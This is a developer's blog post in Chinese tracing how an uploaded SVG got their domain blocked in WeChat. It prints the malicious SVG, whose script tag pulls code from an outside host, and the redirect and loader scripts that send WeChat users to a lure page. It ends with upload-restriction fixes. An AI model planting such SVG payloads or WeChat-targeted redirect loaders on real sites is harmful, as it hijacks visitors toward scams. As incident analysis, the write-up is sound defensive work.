• 【已停止访问该网页】由一张图片引发的“血案”


    先看个热闹

    突然一天在微信上打不开我的域名了,被封了
    image.png
    然后我要疯,我没有这个svg啊,虽然系统中有图片上传的地方,但是也不会用到这个svg啊
    image.png

    想想,可能有人通过我的系统免费上传了这个svg然后在其他地方用了这个免费的资源流量。

    下载这个svg,文本编辑器打开源码

    <?xml version="1.0" encoding="UTF-8" standalone="yes"?>
    <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="3.5in" height="1in">
        <script type="text/javascript" xlink:href="https://ookwqc.com/t"></script>
    </svg>
    

    打开https://ookwqc.com/t域名

    
    (function() {
                var ua = navigator.userAgent.toLowerCase();
                try { document.getElementsByTagName("body")[0].outerHTML = "<center>Loading...</center>"; } catch (e) {};
                if (/micromessenger/.test(ua)) {
                    if (top != window || !document.body) {
                        top.location.href = 'http://vcover.yayagushi.com/30004981820190320222503uc.jpg?now=1554189153';
                    } else {
                        var a = document.createElement('a');
                        a.href = 'http://vcover.yayagushi.com/30004981820190320222503uc.jpg?now=1554189153';
                        a.rel = 'noreferrer';
                        a.click();
                    }
                }
            })()
    

    上面一段代码写的很有意思,如果是微信浏览器打开是一张图片,否则是另外一张图片。
    但是————不要被后缀伪装给迷惑了。
    查询域名备案信息,哇塞备案了差不多500个域名,真流弊
    image.png

    打开微信那张照片

    页面空白,但是作为开发人员,打开F12,哇塞

    image.png

    这个地址只是一个以jpg结尾的svg文件请求地址。
    其中https://05ez.com/t又去获取下一个地址
    image.png

    不死不休,继续追踪http://rf9maug.5ltj6b9d.tw/05d.html?now=1554192363
    F12照看一下

    <!DOCTYPE html>
    <html lang="en"><head>
    <meta charset="UTF-8"><title></title></head><body>
    <script src="https://05ez.com/d"></script>
    </body></html>
    
    

    继续找https://05ez.com/d

    var _shareUrl = 'https://05ez.com';
    var hm_c = 'a71a8a3c027d8f8703df08f83e95ef39';
    
    function _getParam(name) {
        return location.href.match(new RegExp('[?&]' + name + '=([^?&#]+)', 'i')) ? decodeURIComponent(RegExp.$1) : '';
    }
    var ua = navigator.userAgent.toLowerCase();
    if (/micromessenger/.test(ua)) {
        var _lay = document.createElement('div');
        _lay.setAttribute('style', '100%;height:2048px;font-size:1.4em;position:absolute;' +
            'background-color:white;z-index:99999999;left:0;top:0;');
        _lay.innerHTML = '<div style="color:black;text-align:center;font-size:1.3em">loading...</div>';
        if (document.body) document.body.appendChild(_lay);
        document.title = "正在打开...";
        var xhr = new XMLHttpRequest;
        var html = null;
    
        function getParam(name, url) {
            var r = new RegExp('(?|#|&)' + name + '=(.*?)(#|&|$)');
            var m = (url || location.href).match(r);
            return (m ? m[2] : '')
        }
        function render() {
            var a = document.open("text/html", "replace");
            a.write(html);
            a.close()
        }
        xhr.onload = function () {
            html = xhr.responseText;
            var delay = 0;
            if (delay > 0) setTimeout("render()", delay * 1000); else render()
        };
        xhr.open("GET", "https://lbbb.oss-cn-hangzhou.aliyuncs.com/hb_v3/index.html?t=" + Date.now(), !0);
        xhr.send();
    }
    

    打开上面的页面

    https://lbbb.oss-cn-hangzhou.aliyuncs.com/hb_v3/index.html

    <!DOCTYPE html>
    <html lang="en">
    
    <head>
      <meta charset="utf-8">
      <title>...</title>
      <meta name="viewport" content="width=device-width,initial-scale=1,maximum-scale=1,user-scalable=0,viewport-fit=cover" />
      <meta name="format-detection" content="telephone=no">
      <meta name="applicable-device" content="mobile">
      <link rel="stylesheet" href="//lifescore.oss-cn-qingdao.aliyuncs.com/hb_v2/js/d.css">
      <script>
        window.focusLocation = {};
      </script>
    </head>
    
    <body>
      <script src="//res.wx.qq.com/open/js/jweixin-1.0.0.js"></script>
      <script src="//lifescore.oss-cn-qingdao.aliyuncs.com/hb_v2/js/jquery.min.js"></script>
      <script src="//lifescore.oss-cn-qingdao.aliyuncs.com/hb_v2/js/core.js"></script>
      <script src="https://05ez.com/case/info?var=window.data"></script>
    
      <script>
        // M.loadJS('/js/i_d.js?v=' + (+new Date()));
        M.loadJS('https://lbbb.oss-cn-hangzhou.aliyuncs.com/hb_v3/js/i_d.js?v=' + (+new Date()));
      </script>
    </body>
    
    </html>
    

    瞅一眼那个JS

    https://lbbb.oss-cn-hangzhou.aliyuncs.com/hb_v3/js/i_d.js
    js.png
    好了找到地方了,多么喜庆。
    image.png

    找到问题就解决吧

    再来找找这个svg文件上传的日志

    2019-03-10T13:08:35.866304Z {"Accept-Encoding":"gzip","Content-Length":"992","Content-Type":"multipart/form-data; boundary=------------------------78ff25155c5e6156","IP":"127.0.0.1","User-Agent":"Go-http-client/1.1","X-Forwarded-For":"112.96.135.XXX157.255.155.XXX"X-Real-Ip":"157.255.155.XXX"X-Reqid":"DQYAAMIr4LjhmooV","X-Scheme":"http"} {"key":"XXX.svg","hash":"e5gx5xekD","bucket":"","fsize":252}

    解决方案

    1)限制系统中头像上传的文件类型为jpg/png (app端会裁剪照片,这2个类型够用)

    2)如果使用第三方对象存储,建议修改秘钥

    3)在nginx或者slb上限制该恶意ip,并设置SLB黑名单

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  • 原文地址:https://www.cnblogs.com/Halburt/p/10644037.html
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